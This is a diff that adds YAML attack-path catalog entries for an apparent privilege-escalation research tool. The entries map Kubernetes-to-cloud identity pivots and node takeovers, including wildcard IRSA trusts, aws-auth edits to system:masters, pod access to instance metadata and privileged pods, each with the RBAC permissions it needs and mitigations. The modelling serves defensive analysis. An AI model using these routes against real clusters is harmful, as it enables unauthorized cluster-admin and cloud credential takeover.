b/src/privilege-escalation-paths-research/k8s/cloud_pivot.yaml @@ -0,0 +1,521 @@ +# Kubernetes <-> cloud identity pivots (EKS IRSA / Pod Identity / kiam / aws-auth, GKE Workload +# Identity, AKS Workload ID / identity bindings, node cloud identities). +# Conventions: see header of rbac.yaml. Entries with source_kind describe edges from an identity +# (ServiceAccount or node) to a cloud principal; who reaches that identity is modelled elsewhere +# (pods create, exec, tokens...). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-cloud-eks-irsa + provider: k8s + service: eks + title: ServiceAccount assumes an IAM role through IRSA (OIDC web identity) + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 171e422 + summary: A ServiceAccount can obtain the privileges of the IAM roles whose trust policy accepts the cluster OIDC issuer with that ServiceAccount's subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: irsa + trust_allows_k8s_sa_oidc_subject: true + scope: any + aggregate_as: "IAM roles trusting {source.namespace}/{source.name} via IRSA" + conditions: + - id: aws_trust_not_collected + description: Needs the AWS snapshot of the role trust (federated principal = cluster OIDC provider, sub/aud conditions). With only the K8s snapshot, the eks.amazonaws.com/role-arn annotation is used as evidence and the edge stays conditional. + blockers: [] + confidence: derived + severity: high + mitigation: Scope IRSA trust policies to an exact sub (system:serviceaccount::) and aud sts.amazonaws.com; prefer EKS Pod Identity with tag conditions. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: The annotation is not a security gate; any holder of a token for the ServiceAccount with audience sts.amazonaws.com (a pod can request a projected token with any audience) can call AssumeRoleWithWebIdentity. Hence the reachable set is defined by the trust policy, not the annotation. Trusts with wildcard or missing sub conditions are reached by every matching ServiceAccount. + +- id: k8s-cloud-eks-irsa-create-matching-sa + provider: k8s + service: eks + title: Create a ServiceAccount matching a wildcard IRSA trust + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: a66f094ede + summary: The source can obtain the privileges of IAM roles whose IRSA trust uses a wildcard subject by creating a ServiceAccount whose name matches and running a pod as it. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{pivot.namespace}" + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: aws_trust_not_collected + description: Requires the AWS role trust policy to evaluate the StringLike sub pattern. + blockers: [] + confidence: derived + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: Only adds reach beyond k8s-cloud-eks-irsa when the wildcard matches names that do not yet exist; existing matching ServiceAccounts are already reachable via pods create in their namespace. + +- id: k8s-cloud-eks-irsa-wildcard-trust-existing-sa + provider: k8s + service: eks + title: Use an existing ServiceAccount that matches a wildcard IRSA trust + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: a66f094ede + summary: The source can obtain the privileges of IAM roles whose IRSA trust uses a wildcard subject covering the namespace by obtaining an sts.amazonaws.com-audience token for any existing ServiceAccount there (for example default). + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: existing_sa_matches_wildcard + description: Some existing ServiceAccount name in the namespace must match the trust's StringLike sub pattern (system:serviceaccount::* always matches default); for narrower patterns with no matching ServiceAccount use k8s-cloud-eks-irsa-create-matching-sa. + - id: token_audience + description: The token must carry the trusted audience (sts.amazonaws.com); a pod can request it with a projected serviceAccountToken volume and TokenRequest accepts any audience, so the eks.amazonaws.com/role-arn annotation is not needed. + - id: aws_trust_not_collected + description: Requires the AWS role trust policy to evaluate the StringLike sub pattern. + blockers: [] + confidence: conditional + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies; pin both sub and aud. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + - https://kubernetes.io/docs/concepts/storage/projected-volumes/#serviceaccounttoken + notes: HackTricks (171e422) states that a wildcard trust lets any controlled ServiceAccount assume the role once annotated; annotation (patch serviceaccounts) only drives webhook injection, the trust check is on the token sub/aud, so no ServiceAccount write is required. + +- id: k8s-cloud-eks-pod-identity + provider: k8s + service: eks + title: ServiceAccount receives an IAM role through EKS Pod Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-pod-identity + source_revision: 171e422 + summary: A ServiceAccount can obtain the privileges of the IAM role of the EKS Pod Identity association for its (namespace, name). + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: eks_pod_identity + scope: any + aggregate_as: "IAM roles associated with {source.namespace}/{source.name}" + conditions: + - id: pod_identity_association_from_related_aws + description: Associations live in the EKS API and come from the related AWS snapshot (eks_pod_identity_association); without it no edge is drawn. The edge is derived when the role trust admits pods.eks.amazonaws.com, otherwise conditional. + - id: pod_identity_agent_running + description: The EKS Pod Identity Agent must run on the nodes; credentials are served only to pods running as that ServiceAccount. + - id: trust_tag_conditions + description: Trust conditions on kubernetes-namespace/kubernetes-service-account/cluster tags may further restrict the role. + blockers: [] + confidence: derived + severity: high + mitigation: Associate roles only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods; add tag conditions to the trust. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html + notes: The role may chain into other accounts; those hops belong to the aws catalog. + +- id: k8s-cloud-kiam-kube2iam-annotation + provider: k8s + service: eks + title: Request a permitted IAM role via kiam/kube2iam pod annotation + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#kiam--kube2iam-iam-role-for-pods + source_revision: a66f094ede + summary: The source can obtain the privileges of the IAM roles permitted by the namespace's kiam/kube2iam annotation by creating annotated pods in it. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + kube2iam_namespace_permits_role: "{pivot.namespace}" + scope: any + aggregate_as: "IAM roles permitted for pods in {pivot.namespace}" + conditions: + - id: kiam_or_kube2iam_running + description: A kiam or kube2iam agent must be intercepting the pods' metadata traffic; the namespace annotations (iam.amazonaws.com/permitted for kiam, iam.amazonaws.com/allowed-roles for kube2iam) are not kept by the collector. + - id: role_trusts_agent_role + description: The requested role must trust the kiam server / node role that performs the AssumeRole. + - id: kube2iam_namespace_restrictions_disabled + description: If kube2iam runs without --namespace-restrictions, any role trusting the node role is requestable regardless of annotations. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Migrate from kiam/kube2iam to IRSA or EKS Pod Identity; until then restrict permitted-role regexes per namespace. + references: + - https://github.com/jtblin/kube2iam#namespace-restrictions + notes: HackTricks marks this mechanism as outdated; kept because clusters still run it. Also, the agent role can itself assume all permitted roles, so compromising a node reaches them too. + +- id: k8s-cloud-eks-aws-auth-configmap + provider: k8s + service: eks + title: Edit the aws-auth ConfigMap to map an IAM principal to system:masters + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#aws-eks-aws-auth-configmaps + source_revision: a66f094ede + summary: The source can obtain the privileges of cluster-admin by mapping an IAM principal it controls to system:masters in aws-auth. + requires: + all_of: [] + any_of: + - - {verb: update, resource: configmaps, namespace: "kube-system", resource_name: "aws-auth"} + - - {verb: patch, resource: configmaps, namespace: "kube-system", resource_name: "aws-auth"} + - - {verb: create, resource: configmaps, namespace: "kube-system"} + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: eks_auth_mode_includes_config_map + description: The cluster authentication mode must be CONFIG_MAP or API_AND_CONFIG_MAP; in API mode aws-auth is ignored. + - id: access_entry_precedence + description: In API_AND_CONFIG_MAP mode an access entry for the same IAM principal takes precedence over aws-auth, so the new mapping grants no additional access for that principal. + - id: create_only_if_absent + description: The create group only applies when no aws-auth ConfigMap exists yet. + - id: source_controls_iam_principal + description: The source needs some IAM principal to authenticate with; any account's principal can be mapped, so this is normally satisfiable. + preconditions: [k8s_eks_cluster] + blockers: [] + confidence: derived + severity: critical + mitigation: Migrate to EKS access entries (authentication mode API) and remove configmap write access in kube-system. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/grant-k8s-access.html + notes: Only EKS clusters. Mapping a principal from another account also works (cross-account), which is why the AWS-side control of the mapped principal is not limiting. + +- id: k8s-cloud-gke-workload-identity + provider: k8s + service: gke + title: ServiceAccount impersonates a Google service account via GKE Workload Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#workload-identity-federation-for-gke + source_revision: 171e422 + summary: A ServiceAccount can obtain the privileges of the Google service accounts that grant roles/iam.workloadIdentityUser to its Workload Identity member. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: gke_workload_identity + gcp_workload_identity_user_granted_to_k8s_sa: true + scope: any + aggregate_as: "GSAs impersonable by {source.namespace}/{source.name}" + conditions: + - id: gcp_iam_not_collected + description: The IAM binding serviceAccount:.svc.id.goog[/] on the GSA lives in the GCP snapshot; with only the iam.gke.io/gcp-service-account annotation the edge stays conditional. + - id: identity_sameness + description: Every cluster in the same project/fleet workload pool shares the member identity, so the same namespace/name in another cluster also reaches the GSA. + blockers: [] + confidence: derived + severity: high + mitigation: Grant workloadIdentityUser only to dedicated KSAs in namespaces untrusted subjects cannot write to; avoid shared workload pools across trust boundaries. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: The IAM binding, not the annotation, is the authorization gate. Direct IAM grants to the KSA principal (principal://iam.googleapis.com/projects//locations/global/workloadIdentityPools//subject/ns//sa/) also give it cloud privileges; the evaluator should treat that federated principal as the cloud_identity reached. + +- id: k8s-cloud-aks-workload-identity + provider: k8s + service: aks + title: ServiceAccount obtains an Entra identity via AKS Workload ID federation + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + source_revision: 171e422 + summary: A ServiceAccount can obtain the privileges of the managed identities or app registrations whose federated identity credential matches the cluster issuer and its subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: azure_workload_identity + azure_fic_matches_k8s_sa: true + scope: any + aggregate_as: "Entra identities federated with {source.namespace}/{source.name}" + conditions: + - id: azure_fic_not_collected + description: Federated identity credentials (issuer + subject system:serviceaccount::) live in the Azure/Entra snapshot; the azure.workload.identity/client-id annotation alone is evidence only. + blockers: [] + confidence: derived + severity: high + mitigation: Federate identities only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods or tokens. + references: + - https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview + notes: The annotation and the azure.workload.identity/use label only drive token injection by the webhook; any holder of a token for the SA with audience api://AzureADTokenExchange can exchange it, so they are not gates. + +- id: k8s-cloud-aks-identity-binding + provider: k8s + service: aks + title: ServiceAccount allowed to use a managed identity through AKS identity bindings + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + source_revision: 171e422 + summary: A ServiceAccount granted use-managed-identity on a managed identity client ID can obtain the privileges of that user-assigned managed identity. + source_kind: k8s_service_account + requires: + all_of: + - verb: use-managed-identity + resource: "{target.client_id}" + api_group: cid.wi.aks.azure.com + namespace: "*" + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: aks_identity_binding + scope: any + aggregate_as: "Managed identities bound to {cluster} and usable by {source.namespace}/{source.name}" + conditions: + - id: identity_binding_exists + description: An AKS identity binding must map the managed identity to this cluster (ARM side, not collected by the K8s collector). + - id: pod_opt_in_label + description: The pod must opt in with the azure.workload.identity/use-identity-binding label; anyone creating pods as the SA can set it. + - id: preview_feature + description: Identity bindings are a preview feature. + blockers: [] + confidence: derived + severity: high + mitigation: Grant use-managed-identity in narrow ClusterRoles bound to specific ServiceAccounts, never to broad groups such as system:serviceaccounts. + references: + - https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts + notes: Per Microsoft docs, operators authorize namespaces/ServiceAccounts with ClusterRole/ClusterRoleBinding. HackTricks states the rule uses verb use-managed-identity on cid.wi.aks.azure.com resources named after client IDs; the exact apiGroups/resources split could not be confirmed from the concepts page, so treat the resource field as the client id under that API group. + +- id: k8s-cloud-node-cloud-identity + provider: k8s + service: nodes + title: Node identity reaches the node's cloud identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: 171e422 + summary: A compromised node can obtain the privileges of the cloud identity attached to it (EC2 instance profile role, GCE node service account, AKS node/kubelet managed identity). + source_kind: k8s_node + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: node_cloud_identity_not_collected + description: The attached identity is known from the cloud snapshot (instance profile, node pool service account, VMSS identity), not from the K8s collector. + blockers: [] + confidence: derived + severity: high + mitigation: Give node identities only the minimal permissions (registry pull, CNI); never attach broad roles to node pools. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/create-node-role.html + - https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_sa + notes: On GKE with Workload Identity enabled on the node pool, pods are served by the GKE metadata server, but the node itself still holds the node service account. + +- id: k8s-cloud-pod-imds-node-identity + provider: k8s + service: nodes + title: Ordinary pod reaches the node metadata service + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: a66f094ede + summary: The source can obtain the privileges of the node cloud identity by creating any pod when pods can reach + the instance metadata service. + requires: + all_of: + - any_of: + - verb: create + resource: pods + namespace: '{pivot.namespace}' + - verb: create + resource: deployments + api_group: apps + namespace: '{pivot.namespace}' + - verb: create + resource: daemonsets + api_group: apps + namespace: '{pivot.namespace}' + - verb: create + resource: statefulsets + api_group: apps + namespace: '{pivot.namespace}' + - verb: create + resource: replicasets + api_group: apps + namespace: '{pivot.namespace}' + - verb: create + resource: replicationcontrollers + namespace: '{pivot.namespace}' + - verb: create + resource: jobs + api_group: batch + namespace: '{pivot.namespace}' + - verb: create + resource: cronjobs + api_group: batch + namespace: '{pivot.namespace}' + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: Cloud identity of nodes in {cluster} + conditions: + - id: imds_reachable_from_pod + description: EKS needs an IMDS hop limit >= 2 (AL2023 managed node groups without a launch template and Auto + Mode default to 1) and no disablePodIMDS; GKE needs node pools without Workload Identity/metadata concealment; + AKS needs no network policy blocking 169.254.169.254. + - id: network_policy_blocks_imds + description: An egress NetworkPolicy denying the metadata address removes the edge. + blockers: + - admission_policy + - admission_webhook + - kyverno_policy + - gatekeeper_constraint + confidence: derived + severity: high + mitigation: Block pod access to IMDS (hop limit 1, disablePodIMDS, GKE Workload Identity, egress policies) and + use workload identities instead. + references: + - https://docs.aws.amazon.com/eks/latest/best-practices/identity-and-access-management.html#restrict-access-to-the-instance-profile-assigned-to-the-worker-node + notes: Creating a Pod or workload controller also requires the workload to pass admission; the admission_policy, + admission_webhook, kyverno_policy, and gatekeeper_constraint blockers above apply. Once an ordinary Pod is admitted, + IMDS hop limit and network reachability decide whether it can obtain node credentials. Exec into an existing + Pod gives the same network reach and is modelled implicitly through the ServiceAccount chain. + +- id: k8s-cloud-hostnetwork-pod-node-identity + provider: k8s + service: nodes + title: hostNetwork pod reaches the node metadata service (not node root) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---move-to-cloud + source_revision: a66f094ede + summary: The source can obtain the privileges of the node cloud identity by creating a hostNetwork pod, which bypasses pod-level IMDS hop restrictions. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: other_admission_blocks_host_network + description: Non-PSA admission may reject hostNetwork pods. + - id: gke_metadata_server_on_host_network + description: On GKE node pools with Workload Identity, hostNetwork pods are not intercepted by the GKE metadata server and reach the node service account, so Workload Identity is not a blocker here. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Enforce PSA baseline (which disallows hostNetwork) and minimize node identity permissions. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Distinct from k8s-cloud-pod-imds-node-identity because it is gated by PSA rather than IMDS network settings; it only adds reach where ordinary pods are kept from the metadata service (EKS hop limit 1 / disablePodIMDS, GKE metadata server, egress NetworkPolicy, which does not apply to hostNetwork pods). hostNetwork places the pod in the node network namespace but is not a host escape and does not reach node root or the kubelet credential; node-local loopback services remain subject to their own authentication. + +- id: k8s-cloud-eks-node-role-to-node + provider: k8s + service: eks + title: EKS node IAM role authenticates to the cluster as a node + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 171e422 + summary: Credentials of the EKS node IAM role can obtain the privileges of the node identity (system:node:, group system:nodes) mapped to that instance session. + source_kind: cloud_identity + source_selector: + eks_access_entry_type: EC2_LINUX + requires: + all_of: [] + target: + kind: k8s_node + selector: + k8s_nodes_mapped_to_cloud_identity: true + scope: cluster + aggregate_as: "Nodes mapped to the node role in {cluster}" + conditions: + - id: node_name_from_session + description: The username is derived from the instance (EC2PrivateDNSName) of the role session; stolen instance credentials map to that instance's node. Principals able to assume the node role with another session can reach other nodes. + blockers: [] + confidence: derived + severity: high + mitigation: Block pod access to IMDS so node role credentials cannot be stolen from pods, and keep privileged ServiceAccounts' pods on dedicated nodes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + notes: Combined with k8s-nodes-node-mint-pod-sa-tokens this yields the "node IAM role to cluster-admin" path when privileged ServiceAccounts' pods share the node. Mapping is via access entries of type EC2_LINUX/EC2_WINDOWS or aws-auth mapRoles to system:nodes. Evaluated from the related AWS snapshot; an EC2_LINUX entry for the node role is derived, no entry for the role (entries collected) is conditional because aws-auth mapRoles contents are not collected (dropped in API-only mode), and the selector is not evaluated without the eks_access_entry inventory. EC2_WINDOWS-only node roles are not matched by this entry's EC2_LINUX source selector. + +- id: k8s-cloud-pivot-secret-static-gcp-sa-key + provider: k8s + service: gke + title: Read a static Google service-account key stored in a Secret + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#static-google-service-account-key-mounted-as-a-secret + source_revision: a66f094ede + summary: The source can obtain the privileges of a Google service account by reading its static JSON key from a Kubernetes Secret, directly or by mounting the Secret in a pod. + requires: + all_of: [] + any_of: + - - {verb: get, resource: secrets, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: list, resource: secrets, namespace: "{target.namespace}"} + - - {verb: watch, resource: secrets, namespace: "{target.namespace}"} + # Mount the Secret in a pod the source creates directly or through a controller. + - - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + target: + kind: cloud_identity + selector: + k8s_secret_holds_cloud_credential: gcp + scope: cluster + aggregate_as: "Google service-account keys in Secrets of {cluster}" + conditions: + - id: secret_content_not_verified + description: The Secret is recognised from its metadata only (name, labels, annotations, type); its data is never read, so the key may be absent, disabled or expired. + - id: gsa_privileges_unknown + description: The Google service account behind the key is not resolved, so its GCP privileges are evaluated separately. + blockers: [] + confidence: conditional + severity: high + mitigation: Replace static service-account keys with GKE Workload Identity Federation and disable key creation by organization policy. + references: + - https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity + notes: Also maps kubernetes-pivoting-to-clouds.md#mounting-gcp-sa-keys-as-secret (same technique). pods (or controller) create in the namespace lets the source mount the Secret as a volume and read the key (a66f094ede). diff --git a/src/privilege-escalation-paths-research/k8s/nodes.yaml b/src/privilege-escalation-paths-research/k8s/nodes.yaml new file mode 100644 index 0000000000..0132902de1 --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/nodes.yaml @@ -0,0 +1,660 @@ +# Kubernetes node-level techniques: reach node credentials (k8s_node) through host-privileged +# pods, PSA/namespace manipulation, kubelet access or node client certificates, and what a node +# identity reaches. Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, refreshed to 171e422. + +- id: k8s-nodes-privileged-pod-create + provider: k8s + service: nodes + title: Create a host-privileged pod (privileged container or host-root hostPath) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create--escape + source_revision: 171e422 + summary: The source can obtain the privileges of the nodes it can schedule a host-privileged pod onto. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission (Kyverno, Gatekeeper, VAP, OpenShift SCC) may reject privileged/hostPath/hostPID pods. + - id: node_reachable_by_scheduling + description: The pod can pin itself with nodeName/tolerations, so tainted nodes (including self-managed control-plane nodes) are reachable unless admission strips them; managed control planes are not nodes. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Enforce Pod Security Admission baseline or restricted on every namespace where untrusted subjects can create pods. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: The blocker reads the pod-security.kubernetes.io/enforce label of the pivot namespace (and the cluster default from the PSA AdmissionConfiguration, which is not collected; unlabeled namespaces default to privileged). A privileged container or a writable hostPath of / (or a runtime-socket mount) yields node root; hostPID, hostIPC or hostNetwork alone do not (hostNetwork reaches node metadata, see k8s-cloud-hostnetwork-pod-node-identity). Added SYS_ADMIN/SYS_MODULE without privileged mode is runtime-dependent. PSA baseline forbids all of these, so the blocker covers every variant. + +- id: k8s-nodes-privileged-controller-create + provider: k8s + service: nodes + title: Create or modify a controller with a host-privileged pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 171e422 + summary: The source can obtain the privileges of the nodes onto which a controller it controls schedules a host-privileged pod (every node for a DaemonSet). + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged/hostPath/hostPID pod templates. + - id: controller_object_exists + description: The update/patch groups require an existing controller covered by the grant. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Enforce PSA baseline/restricted on namespaces where untrusted subjects manage workloads. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: PSA evaluates pods created by controllers (and warns on templates). Separate from k8s-nodes-privileged-pod-create because the permission set differs. + +- id: k8s-nodes-privileged-ephemeral-container + provider: k8s + service: nodes + title: Add a privileged ephemeral container to an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: a66f094ede + summary: The source may obtain the privileges of a node hosting a target pod by adding a privileged ephemeral container when the runtime exposes a usable host escape surface. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_pods_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running pods of {pivot.namespace}" + conditions: + - id: host_namespaces_fixed_by_pod + description: hostPID/hostNetwork and volumes are fixed by the existing pod. Privileged mode gives broad device and capability access, but node control still depends on the runtime, host mounts or another verified escape surface. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged ephemeral containers. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict pods/ephemeralcontainers and enforce PSA baseline/restricted. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: PSA checks ephemeral containers at the 